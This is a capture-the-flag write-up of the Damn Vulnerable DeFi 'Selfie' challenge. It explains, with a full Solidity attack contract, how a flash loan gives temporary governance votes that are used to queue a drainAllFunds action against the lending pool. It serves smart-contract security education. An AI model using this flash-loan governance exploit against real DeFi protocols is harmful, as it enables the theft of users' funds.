> For the complete documentation index, see [llms.txt](https://calnix.gitbook.io/eth-dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://calnix.gitbook.io/eth-dev/smart-contract-security/damn-vulnerable-defi/6.-selfie.md).

# 6. Selfie

https\://www\.damnvulnerabledefi.xyz/challenges/selfie/

### Objective

* A lending pool offering flash loans of DVT tokens.&#x20;
* Includes a fancy governance mechanism to control it.
* You start with no DVT tokens in balance, and the pool has 1.5 million.&#x20;
* Your goal is to take them all.

### Approach

SelfiePool has a `drainAllFunds` function that can only be called by the SimpleGovernance contract.&#x20;

<figure><img src="https://1628544884-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTgomzlmn9NrxUY0OQ3cD%2Fuploads%2Fpu8pPJtTX7rA2Wa8IiXh%2Fimage.png?alt=media&amp;token=04fc1c13-c0fe-408c-bae0-d7376872f5b2" alt=""><figcaption></figcaption></figure>

Let us examine if we can subvert the governance contract for our purposes.

#### SimpleGovernance

Governance is based on the DVT token:

<figure><img src="https://1628544884-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTgomzlmn9NrxUY0OQ3cD%2Fuploads%2FNq3NImA7AUbEmziFFUZt%2Fimage.png?alt=media&amp;token=c8774324-2502-4414-991d-9313a7020578" alt=""><figcaption></figcaption></figure>

Voting power is based on the proportion of number of tokens held against half of total supply

<figure><img src="https://1628544884-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTgomzlmn9NrxUY0OQ3cD%2Fuploads%2F2WmAXnXP5ni1z48jVs1g%2Fimage.png?alt=media&amp;token=6bfb1dc9-7b02-457b-a9db-6d54b91c16db" alt=""><figcaption></figcaption></figure>

This means that if msg.caller has sufficient DVT tokens such that its balance > halfTotalSupply, msg.caller has sufficient voting power and therefore can queue a governance action successfully.<br>

<figure><img src="https://1628544884-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTgomzlmn9NrxUY0OQ3cD%2Fuploads%2FqSR3WqMhwwComf7cA7lO%2Fimage.png?alt=media&amp;token=ad70f055-dc69-4f24-8b2a-8d5d75ff1c95" alt=""><figcaption></figcaption></figure>

### Solution

1. Attacker to take the largest flash loan from SelfiePool possible,
2. Using voting power from flash loan to pass a governance action via SimpleGovernance using queueAction and executeAction
   1. call drainAllFunds with beneficiary as attacker address

#### queueAction and executeAction

**queueAction** takes in an `address`, `calldata`, and `weiAmount` as parameters. These fields are stored in a struct

* address: target contract address to take action on  ("receiver")
* calldata: abi encoded function signature:

```solidity
bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)", address(this), type(uint256).max
        );
(bool success, bytes memory data) = target.call{value: 111, gas: 5000}(data)ol
```

* weiAmount: this is the value field for `target.call{value:`` `**`value`**`}(data)`
  * basically how much ether to send over

**executeAction**&#x20;

* external, payable
* Anyone can call executeAction, passing an actionId
* only constraints are:&#x20;
  * action has not been executed yet
    * `actionToExecute.executedAt == 0`&#x20;
  * action is ready to be executed (delay has been exceeded)
    * ```solidity
      (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
      ```

The core of executeAction is&#x20;

{% code overflow="wrap" %}

```solidity
actionToExecute.receiver.functionCallWithValue(actionToExecute.data, actionToExecute.weiAmount);
```

{% endcode %}

* functionCallWithValue is from OpenZepplin's Address library:

<figure><img src="https://1628544884-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTgomzlmn9NrxUY0OQ3cD%2Fuploads%2FtTRIr4KiwlbzBiZgfyDC%2Fimage.png?alt=media&amp;token=411e1fca-9045-44c1-ab07-023725393786" alt=""><figcaption><p><a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol">https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol</a></p></figcaption></figure>

Fundamentally, it is a low-level call, where value is the weiAmount and data is the data we passed earlier in queueAction as parameters.

### Solution Code

{% tabs %}
{% tab title="First Tab" %}

<figure><img src="https://1628544884-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTgomzlmn9NrxUY0OQ3cD%2Fuploads%2FM5sugNDi5QnWW18FXiLX%2Fimage.png?alt=media&amp;token=ec759d7f-511c-4bbe-b3f6-91be1644d860" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="Code" %}

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {SimpleGovernance} from "./SimpleGovernance.sol";
import {SelfiePool} from "./SelfiePool.sol";
import {DamnValuableTokenSnapshot} from "./../DamnValuableTokenSnapshot.sol";

contract Attack {
    address owner;
    SelfiePool public selfiePool;
    SimpleGovernance public governance;
    uint256 public drainActionId;

    constructor(SelfiePool selfiePool_, SimpleGovernance governance_) {
        owner = msg.sender;
        selfiePool = selfiePool_;
        governance = governance_;
    }

    ///@notice Take loan from pool
    function borrow(uint256 amount) external {
        require(msg.sender == owner, "only owner");
        selfiePool.flashLoan(amount);
    }

    ///@notice Flashloan callback function
    function receiveTokens(address token, uint256 amount) external {
        require(msg.sender == address(selfiePool), "only pool");

        DamnValuableTokenSnapshot(token).snapshot();

        bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", address(owner));
        drainActionId = governance.queueAction(address(selfiePool), data, 0);

        // transfer back funds
        DamnValuableTokenSnapshot(token).transfer(address(selfiePool), amount);
    }
}
```

{% endtab %}
{% endtabs %}

1. Initiate flashloan with borrow()
2. selfiePool contract will callback `receivetokens`; this will lead to execution of the attack.
   1. queueAction: drainAllfunds
   2. return borrowed tokens
3. executeAction can be called by anyone after the defined delay has passed. Therefore we do not need to execute this via contract.&#x20;
4. ```solidity
   DamnValuableTokenSnapshot(token).snapshot();
   ```
   1. this is needed because queueAction calls `_hasEnoughVotes`which calculates addresses balances based on snapshots.

**Note**

The attack component must be shoeboxed into the callback function instead of the initial borrow function.

Execution of flashloan() only completes after the tokens are returned. This means that the following will not work:

```solidity
    function borrow(uint256 amount) external {
        require(msg.sender == owner, "only owner");
        selfiePool.flashLoan(amount);

        bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", address(owner));
        drainActionId = governance.queueAction(address(selfiePool), data, 0);

    }
```

&#x20;Since the flashloan will be settled before the attack code is executed -> without the benefit of borrowed tokens.
